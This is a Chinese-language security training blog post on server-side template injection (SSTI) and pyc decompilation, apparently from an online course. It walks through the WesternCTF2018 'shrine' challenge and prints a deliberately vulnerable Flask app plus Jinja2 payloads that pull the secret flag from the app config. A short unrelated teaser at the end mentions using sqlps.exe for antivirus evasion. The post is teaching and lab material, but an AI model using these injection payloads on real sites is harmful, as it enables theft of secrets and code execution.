【小迪安全2023】第23天:WEB攻防-Python考点CTF与CMS-SSTI模版注入PYC反编译

news2024/11/18 2:27:35
🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!


目录

大纲:

知识点:

演示案例:

1、SSTI入门-原理&分类&检测&分析&利用

1、什么是SSTI?有什么漏司危害?

2、如何判断检测SSTI漏河的存在?

3、SSTI会产生在那些语言开发应用?

4、SSTI安全问题在生产环境那里产生?

2、SSTI(模板注入)漏洞(cms实例篇)

题目练习:[WesternCTF2018]shrine


大纲:

知识点:

  • 1、PYC文件反编译

  • 2、Python-web-ssrr

  • 3、SSTI模版注入利用分析

演示案例:

  • PY反编译-PYC编译文件反编译源码

  • SSTI入门-原理&分类&检测&分析&利用

  • SSTI考点-CTF靶场-WestemnCTF日shrine

  • SSTI考点-CMS源码-MACCMS V8.X执行

  • PY反编译-PYC编译文件反编译源码

Pyc文件是py文件编译后生成的字节码文件(byte code),Pyc文件经过pythonf解释器,最终会生成机器码运行,因此pyc文件是可以跨平台部署的,类似Java的。

反编译在线平台:

python反编译 - 在线工具

在线pyc,pyo,python,py文件反编译,目前支持python1.5到3.6版本的反编译-在线工具

1、SSTI入门-原理&分类&检测&分析&利用

1、什么是SSTI?有什么漏司危害?

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为Web应用模板内容的一部分,模板引擎在进行目标编泽這染的过程中,执行了用户播入的可以破怀模板的语句,因而可影导数了散感信息泄露、代码执行、GetShe11等问题。其影响范围主要取决于模版引擎的复杂性。

2、如何判断检测SSTI漏河的存在?

输入的数据会被浏览器利用当前脚本语言调用解析执行

3、SSTI会产生在那些语言开发应用?
1、Python: 使用像Jinja2、Mako、Django等模板引擎的Python Web应用程序容易受到SSTI攻击。这些框架在处理用户输入时,如果不正确地进行了过滤或者模板渲染不安全,就容易受到攻击。

2、Ruby: Ruby on Rails框架使用ERB(Embedded Ruby)作为默认的模板引擎,如果开发人员未正确处理用户输入,就可能导致SSTI漏洞。

3、Java: 基于Java的Web应用程序通常使用像FreeMarker、Thymeleaf等模板引擎。如果这些模板引擎未受到适当的保护或者没有正确地过滤用户输入,就可能受到SSTI攻击。

4、JavaScript/Node.js: 一些Node.js应用程序使用像Handlebars、Pug等模板引擎。如果这些模板引擎在处理用户输入时不安全,就可能存在SSTI漏洞。

4、SSTI安全问题在生产环境那里产生?
  • -存在模版引用的地方,如 404 错误页面展示
  • -存在数据接收引用的地方,如模版解析获取参数数据

参考文章:

https://swq111.online/index.php/2024/02/19/ssti模版注入特详版/

2、SSTI(模板注入)漏洞(cms实例篇)

参考链接:

https://www.cnblogs.com/bmjoker/p/13653563.html

常见的CMS模块SSTI注入源代码下载:

GitHub - bmjoker/Code-audit: 记录一下代码审计的资料

题目练习:[WesternCTF2018]shrine

模板渲染接受的参数需要用两个大括号括起来{{}},所以我们需要在大括号内构造参数形成注入

SSTI注入需要知道用的是什么模板引擎,参考这张图片

题目代码如下(可以右击查看源代码,这样更具清楚)

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

可以看到有两个路由,第一个路由给出了显示出源代码,第二个路由在/shrine/路径下提交参数,模板中设定{{ }}包括的内容为后端变量,% %包括的内容为逻辑语句

我们尝试简单的SSTI注入测试:/shrine/{{2*2}}

我们查看源码,可以知道我们提交的参数之中的()会被置为空,同时会将黑名单(config或者self)内的内容遍历一遍,把参数内的与黑名单相同的置为none

s = s.replace('(', '').replace(')', '')

blacklist = ['config', 'self']

根据前面分析我们需要看到config,这里面应该有一个FLAG的值

利用python里面的内置函数,比如url_forget_flashed_messages

url_for() 方法:

url_for() 会返回视图函数对应的URL。如果定义的视图函数是带有参数的,则可以将这些参数作为命名参数传入。

get_flashed_messages() 方法:

返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。

注入{{url_for.globals}}查看里面的变量信息

/shrine/{{url_for.__globals__}}

/shrine/{{url_for.__globals__['current_app'].config}}

注入config.FLAG拿flag值:

/shrine/{{url_for.__globals__['current_app'].config.FLAG}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1594454.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux 文件页反向映射

0. 引言 操作系统中与匿名页相对的是文件页&#xff0c;文件页的反向映射对比匿名页的反向映射更为简单。如果还不清楚匿名页反向映射逻辑的&#xff0c;请移步 匿名页反向映射 1. 文件页反向映射数据结构 struct file&#xff1a; 用户进程每open()一次文件&#xff0c;则会生…

微服务相关

1. 微服务主要七个模块 中央管理平台&#xff1a;生产者、消费者注册&#xff0c;服务发现&#xff0c;服务治理&#xff0c;调用关系生产者消费者权限管理流量管理自定义传输协议序列化反序列化 2. 中央管理平台 生产者A在中央管理平台注册后&#xff0c;中央管理平台会给他…

BLIP 算法阅读记录---一个许多多模态大语言模型的基本组件

论文地址&#xff1a;&#x1f608; 目录 一、环境配置以及数据集准备 数据集准备 数据集格式展示 环境配置&#xff0c;按照官网所述即可 二、一些调整 vit_base的预训练模型 远程debug的设置 Tokenizer初始化失败 读入网络图片的调整 三、训练过程 Image Encoder …

Kylin IPv4 setting config

Kylin IPv4 setting-CSDN博客 上次配置完重启又没了&#xff0c;永久需要修改配置文件 /etc/sysconfig/network-scripts ifcfg-ens33

langchain-chatchat指定一个或多个文件回答,不允许回答内容有其他文件内容,即屏蔽其他文件内容

1.找到langchain-chatchat中的knowledge_base_chat.py 2.knowledge_base_chat.py的api内容加上一个flie_name参数&#xff0c;即传过来你需要指定一个文件名称&#xff0c;或多个文件名称&#xff0c;同时也可以不指定&#xff0c;加上以下代码&#xff1a; flie_name: List …

腾讯云优惠券详细介绍及领券步骤详解

随着云计算技术的不断发展和普及&#xff0c;越来越多的企业和个人开始选择使用云服务来满足自身的需求。腾讯云作为国内领先的云服务提供商&#xff0c;以其稳定、高效、安全的服务赢得了广大用户的信赖。为了回馈广大用户&#xff0c;腾讯云经常推出各种优惠活动&#xff0c;…

linux下安装nacos2.2.0

1、获取下载地址并下载 1.1、打开nacos官网 1.2、找到对应版本&#xff0c;点进去 ## 1.3、复制地址 1.4下载 # 进入要安装的目录&#xff0c;cd /usr/local/src # 执行wget https://github.com/alibaba/nacos/releases/download/2.2.0/nacos-server-2.2.0.tar.gz2、 安装…

深入理解计算机网络分层结构

一、 为什么要分层&#xff1f; 计算机网络分层的主要目的是将复杂的网络通信过程分解为多个相互独立的层次&#xff0c;每个层次负责特定的功能。这样做有以下几个好处&#xff1a; 模块化设计&#xff1a;每个层次都有清晰定义的功能和接口&#xff0c;使得网络系统更易于设…

放弃powershell? 启动 sqlps!免杀| 红队攻防

0x00 前言 sql server 默认安装后&#xff0c;会发现有一个 sqlps.exe&#xff1a; 此文件本身自带微软签名&#xff1a; sqlps的功能&#xff0c;竟然是&#xff01;启动 powershell&#xff1f;&#xff1f;&#xff1f; 而且由于此文件无依赖&#xff0c;因此可以单独取出在…

刷题之Leetcode206题(超级详细)

206.反转链表 力扣题目链接(opens new window)https://leetcode.cn/problems/reverse-linked-list/ 题意&#xff1a;反转一个单链表。 示例: 输入: 1->2->3->4->5->NULL 输出: 5->4->3->2->1->NULL 思路 如果再定义一个新的链表&#xff0…

18 进程替换

目录 1.什么是进程替换 2.替换原理 3.替换函数 4.函数解释 5.具体应用 6.makefile构建多个文件 7.运行自己程序 8.运行其他语言程序 9.简易shell 什么是进程替换 fork之后的父子程序共享代码&#xff0c;如果子进程想执行一个全新的程序。就用进程替换来完成这个功能&#x…

python3高级特性

1. 装饰器 装饰器是 Python 的一种高阶函数&#xff0c;它可以在不修改函数内部代码的情况下&#xff0c;给函数增加额外的功能。 案例&#xff1a;记录函数执行时间的装饰器 import time def timing_decorator(func): def wrapper(*args, **kwargs): start_time time.t…

Spring高手之路17——动态代理的艺术与实践

文章目录 1. 背景2. JDK动态代理2.1 定义和演示2.2 不同方法分别代理2.3 熔断限流和日志监控 3. CGLIB动态代理3.1 定义和演示3.2 不同方法分别代理&#xff08;对比JDK动态代理写法&#xff09;3.3 熔断限流和日志监控&#xff08;对比JDK动态代理写法&#xff09; 4. 动态代理…

SpringBoot多模块项目整合Shiro报错No bean of type ‘org.apache.shiro.realm.Realm‘ found.

环境 依赖版本 spring-boot-dependencies 2.7.6 shiro-spring-boot 1.13.0 问题 项目启动报错 *************************** APPLICATION FAILED TO START ***************************Description:No bean of type org.apache.shiro.realm.Realm found.Action:Please …

007Node.js安装自启动工具supervisor运行js文件

在vscode中&#xff0c;某些运行中的程序修改xx.js文件后&#xff0c;通过CtrlC终止再重新运行。supervisor是自启动工具&#xff0c;会不停的查看你的文件&#xff0c;一旦发现有修改&#xff0c;就立马重新载入运行。 我们可以通过安装supervisor代替node命令运行xx.js。终端…

卷积神经网络原来是这样实现图像识别的

积神经网络原来是这样实现图像识别的 图像识别是非常有趣和具有挑战性的研究领域。本文阐述了卷积神经网络用于图像识别的概念、应用和技术。 什么是图像识别&#xff0c;为什么要使用它&#xff1f; 在机器视觉领域&#xff0c;图像识别是指软件识别人物、场景、物体、动作和图…

单例模式以及常见的两种实现模式

单例模式是校招中最常考的设计模式之一. 设计模式其实就是类似于“规章制度”&#xff0c;按照这个套路来进行操作。 单例模式能保证某个类在程序中只存在唯一 一份实例。而不会创建出多个实例&#xff0c;如果创建出了多个实例&#xff0c;就会编译报错。而不会创建出多个实…

数据库SQL语言实战(二)

目录 检索查询 题目一 题目二 题目三 题目四 题目五 题目六 题目七 题目八 题目九&#xff08;本篇最难的题目&#xff09; 分析 实现&#xff08;两种方式&#xff09; 模板 总结 检索查询 按照要求查找数据库中的数据 题目一 找出没有选修任何课程的学…

【算法刷题 | 二叉树 06】4.10( 路径总和、路径总和 || )

文章目录 13.路径总和13.1问题13.2解法一&#xff1a;递归13.2.1递归思路&#xff08;1&#xff09;确定递归函数参数以及返回值&#xff08;2&#xff09;确定终止条件&#xff08;3&#xff09;确定递归逻辑 13.2.2代码实现 14.路径总和 ||14.1问题14.2解法一&#xff1a;递归…

【设计模式】聊聊观察者设计模式原理及应用

原理 观察者模式属于行为模式&#xff0c;行为模式主要解决类和对象之间交互问题。 含义&#xff1a;在对象之间定义一个一对多的依赖&#xff0c;当一个对象状态改变时&#xff0c;所有依赖的对象会自动通知。 被依赖的对象被观察者(Observable) &#xff0c;依赖的对象观察…